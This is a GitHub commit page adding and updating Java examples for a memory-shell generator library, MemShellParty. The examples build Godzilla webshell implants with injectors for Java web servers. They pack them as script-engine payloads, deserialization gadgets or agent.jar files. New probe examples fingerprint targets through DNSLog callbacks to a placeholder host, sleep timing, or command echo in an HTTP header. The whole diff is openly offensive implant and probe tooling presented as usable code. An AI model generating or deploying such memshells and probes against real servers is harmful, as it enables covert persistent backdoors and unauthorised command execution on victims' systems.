Skip to content

Commit 70ebb90

Browse files
committed
feat: support 2.0.0 examples
1 parent 0a1e8fb commit 70ebb90

File tree

6 files changed

+138
-15
lines changed

6 files changed

+138
-15
lines changed

examples/memshell-party-maven-example/pom.xml

Lines changed: 20 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -18,8 +18,27 @@
1818
<dependency>
1919
<groupId>io.github.reajason</groupId>
2020
<artifactId>generator</artifactId>
21-
<version>1.8.0</version>
21+
<version>2.0.0-SNAPSHOT</version>
22+
</dependency>
23+
<dependency>
24+
<groupId>io.github.reajason</groupId>
25+
<artifactId>packer</artifactId>
26+
<version>2.0.0-SNAPSHOT</version>
2227
</dependency>
2328
</dependencies>
2429

30+
<!-- 使用 SNAPSHOT 版本,才需要下面这块 -->
31+
<repositories>
32+
<repository>
33+
<name>Central Portal Snapshots</name>
34+
<id>central-portal-snapshots</id>
35+
<url>https://central.sonatype.com/repository/maven-snapshots/</url>
36+
<releases>
37+
<enabled>false</enabled>
38+
</releases>
39+
<snapshots>
40+
<enabled>true</enabled>
41+
</snapshots>
42+
</repository>
43+
</repositories>
2544
</project>
Lines changed: 32 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,32 @@
1+
package com.reajason.javaweb;
2+
3+
import com.reajason.javaweb.packer.Packers;
4+
import com.reajason.javaweb.probe.ProbeContent;
5+
import com.reajason.javaweb.probe.ProbeMethod;
6+
import com.reajason.javaweb.probe.ProbeShellGenerator;
7+
import com.reajason.javaweb.probe.ProbeShellResult;
8+
import com.reajason.javaweb.probe.config.DnsLogConfig;
9+
import com.reajason.javaweb.probe.config.ProbeConfig;
10+
11+
/**
12+
* @author ReaJason
13+
* @since 2025/8/13
14+
*/
15+
public class DnsLogProbe {
16+
public static void main(String[] args) {
17+
ProbeConfig probeConfig = ProbeConfig.builder()
18+
.probeMethod(ProbeMethod.DNSLog)
19+
.probeContent(ProbeContent.Server) // 暂只支持 Server 和 JDK
20+
.shrink(true)
21+
.debug(false)
22+
.build();
23+
24+
DnsLogConfig dnsLogConfig = DnsLogConfig.builder()
25+
.host("xxx.dns.log")
26+
.build();
27+
28+
ProbeShellResult result = ProbeShellGenerator.generate(probeConfig, dnsLogConfig);
29+
30+
System.out.println("脚本引擎打包:" + Packers.ScriptEngine.getInstance().pack(result.toClassPackerConfig()));
31+
}
32+
}

examples/memshell-party-maven-example/src/main/java/com/reajason/javaweb/Godzilla.java

Lines changed: 8 additions & 9 deletions
Original file line numberDiff line numberDiff line change
@@ -1,10 +1,14 @@
11
package com.reajason.javaweb;
22

3-
import com.reajason.javaweb.memshell.*;
4-
import com.reajason.javaweb.memshell.config.GenerateResult;
3+
import com.reajason.javaweb.Server;
4+
import com.reajason.javaweb.memshell.MemShellGenerator;
5+
import com.reajason.javaweb.memshell.MemShellResult;
6+
import com.reajason.javaweb.memshell.ShellTool;
7+
import com.reajason.javaweb.memshell.ShellType;
58
import com.reajason.javaweb.memshell.config.GodzillaConfig;
69
import com.reajason.javaweb.memshell.config.InjectorConfig;
710
import com.reajason.javaweb.memshell.config.ShellConfig;
11+
import com.reajason.javaweb.packer.Packers;
812

913
/**
1014
* @author ReaJason
@@ -33,18 +37,13 @@ public static void main(String[] args) {
3337
// .headerValue("test")
3438
.build();
3539

36-
GenerateResult result = MemShellGenerator.generate(shellConfig, injectorConfig, godzillaConfig);
40+
MemShellResult result = MemShellGenerator.generate(shellConfig, injectorConfig, godzillaConfig);
3741

3842
System.out.println("注入器类名:" + result.getInjectorClassName());
3943
System.out.println("内存马类名:" + result.getShellClassName());
4044

4145
System.out.println(result.getShellConfig());
4246
System.out.println(result.getShellToolConfig());
43-
44-
System.out.println("Base64 打包:" + Packers.Base64.getInstance().pack(result));
45-
46-
System.out.println("脚本引擎打包:" + Packers.ScriptEngine.getInstance().pack(result));
47-
48-
System.out.println("CC3 打包:" + Packers.JavaCommonsCollections3.getInstance().pack(result));
47+
System.out.println("脚本引擎打包:" + Packers.ScriptEngine.getInstance().pack(result.toClassPackerConfig()));
4948
}
5049
}

examples/memshell-party-maven-example/src/main/java/com/reajason/javaweb/GodzillaAgent.java

Lines changed: 9 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -1,11 +1,15 @@
11
package com.reajason.javaweb;
22

3-
import com.reajason.javaweb.memshell.*;
4-
import com.reajason.javaweb.memshell.config.GenerateResult;
3+
import com.reajason.javaweb.memshell.MemShellGenerator;
4+
import com.reajason.javaweb.memshell.MemShellResult;
5+
import com.reajason.javaweb.memshell.ShellTool;
6+
import com.reajason.javaweb.memshell.ShellType;
57
import com.reajason.javaweb.memshell.config.GodzillaConfig;
68
import com.reajason.javaweb.memshell.config.InjectorConfig;
79
import com.reajason.javaweb.memshell.config.ShellConfig;
8-
import com.reajason.javaweb.memshell.packer.jar.JarPacker;
10+
import com.reajason.javaweb.packer.Packers;
11+
import com.reajason.javaweb.packer.jar.JarPacker;
12+
import com.sun.security.ntlm.Server;
913

1014
import java.nio.file.Files;
1115
import java.nio.file.Paths;
@@ -38,15 +42,15 @@ public static void main(String[] args) throws Exception {
3842
// .headerValue("test")
3943
.build();
4044

41-
GenerateResult result = MemShellGenerator.generate(shellConfig, injectorConfig, godzillaConfig);
45+
MemShellResult result = MemShellGenerator.generate(shellConfig, injectorConfig, godzillaConfig);
4246

4347
System.out.println("注入器类名:" + result.getInjectorClassName());
4448
System.out.println("内存马类名:" + result.getShellClassName());
4549

4650
System.out.println(result.getShellConfig());
4751
System.out.println(result.getShellToolConfig());
4852

49-
byte[] agentJarBytes = ((JarPacker) Packers.AgentJar.getInstance()).packBytes(result);
53+
byte[] agentJarBytes = ((JarPacker) Packers.AgentJar.getInstance()).packBytes(result.toJarPackerConfig());
5054
Files.write(Paths.get("agent.jar"), agentJarBytes);
5155
}
5256
}
Lines changed: 35 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,35 @@
1+
package com.reajason.javaweb;
2+
3+
import com.reajason.javaweb.packer.Packers;
4+
import com.reajason.javaweb.probe.ProbeContent;
5+
import com.reajason.javaweb.probe.ProbeMethod;
6+
import com.reajason.javaweb.probe.ProbeShellGenerator;
7+
import com.reajason.javaweb.probe.ProbeShellResult;
8+
import com.reajason.javaweb.probe.config.ProbeConfig;
9+
import com.reajason.javaweb.probe.config.ResponseBodyConfig;
10+
11+
import static com.reajason.javaweb.Server.Tomcat;
12+
13+
/**
14+
* @author ReaJason
15+
* @since 2025/8/13
16+
*/
17+
public class ResponseBodyProbe {
18+
public static void main(String[] args) {
19+
ProbeConfig probeConfig = ProbeConfig.builder()
20+
.probeMethod(ProbeMethod.ResponseBody)
21+
.probeContent(ProbeContent.Command)
22+
.shrink(true)
23+
.debug(false)
24+
.build();
25+
26+
ResponseBodyConfig responseBodyConfig = ResponseBodyConfig.builder()
27+
.server(Tomcat)
28+
.reqHeaderName("X-Echo")
29+
.build();
30+
31+
ProbeShellResult result = ProbeShellGenerator.generate(probeConfig, responseBodyConfig);
32+
33+
System.out.println("脚本引擎打包:" + Packers.ScriptEngine.getInstance().pack(result.toClassPackerConfig()));
34+
}
35+
}
Lines changed: 34 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,34 @@
1+
package com.reajason.javaweb;
2+
3+
import com.reajason.javaweb.packer.Packers;
4+
import com.reajason.javaweb.probe.ProbeContent;
5+
import com.reajason.javaweb.probe.ProbeMethod;
6+
import com.reajason.javaweb.probe.ProbeShellGenerator;
7+
import com.reajason.javaweb.probe.ProbeShellResult;
8+
import com.reajason.javaweb.probe.config.ProbeConfig;
9+
import com.reajason.javaweb.probe.config.SleepConfig;
10+
11+
import static com.reajason.javaweb.Server.Tomcat;
12+
13+
/**
14+
* @author ReaJason
15+
* @since 2025/8/13
16+
*/
17+
public class SleepProbe {
18+
public static void main(String[] args) {
19+
ProbeConfig probeConfig = ProbeConfig.builder()
20+
.probeMethod(ProbeMethod.Sleep)
21+
.probeContent(ProbeContent.Server) // 暂只支持 Server
22+
.shrink(true)
23+
.debug(false)
24+
.build();
25+
26+
SleepConfig sleepConfig = SleepConfig.builder()
27+
.server(Tomcat)
28+
.seconds(5).build();
29+
30+
ProbeShellResult result = ProbeShellGenerator.generate(probeConfig, sleepConfig);
31+
32+
System.out.println("脚本引擎打包:" + Packers.ScriptEngine.getInstance().pack(result.toClassPackerConfig()));
33+
}
34+
}

0 commit comments

Comments
 (0)